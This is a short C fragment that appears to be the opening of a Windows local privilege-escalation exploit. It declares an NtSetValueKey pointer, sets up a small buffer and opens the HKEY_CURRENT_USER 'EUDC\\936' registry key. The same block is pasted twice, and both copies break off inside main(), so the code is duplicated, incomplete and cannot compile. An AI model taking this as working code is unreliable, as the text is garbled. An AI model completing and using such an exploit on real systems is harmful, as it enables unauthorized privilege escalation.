typedef NTSTATUS ( __stdcall *NtSetValueKey_ ) (
IN HANDLE KeyHandle,
IN PUNICODE_STRING ValueName,
IN ULONG TitleIndex,
IN ULONG Type,
IN PVOID Data,
IN ULONG DataSize
);
NtSetValueKey_ NtSetValueKey = NULL;
int main()
{
BYTE RegBuf[0x28] = {0};
HKEY hKey;
if ( RegOpenKey(HKEY_CURRENT_USER,L"EUDC\\936",&hKey) != ERROR_SUCCESS )
return FALSE;
typedef NTSTATUS ( __stdcall *NtSetValueKey_ ) (
IN HANDLE KeyHandle,
IN PUNICODE_STRING ValueName,
IN ULONG TitleIndex,
IN ULONG Type,
IN PVOID Data,
IN ULONG DataSize
);
NtSetValueKey_ NtSetValueKey = NULL;
int main()
{
BYTE RegBuf[0x28] = {0};
HKEY hKey;
if ( RegOpenKey(HKEY_CURRENT_USER,L"EUDC\\936",&hKey) != ERROR_SUCCESS )
return FALSE;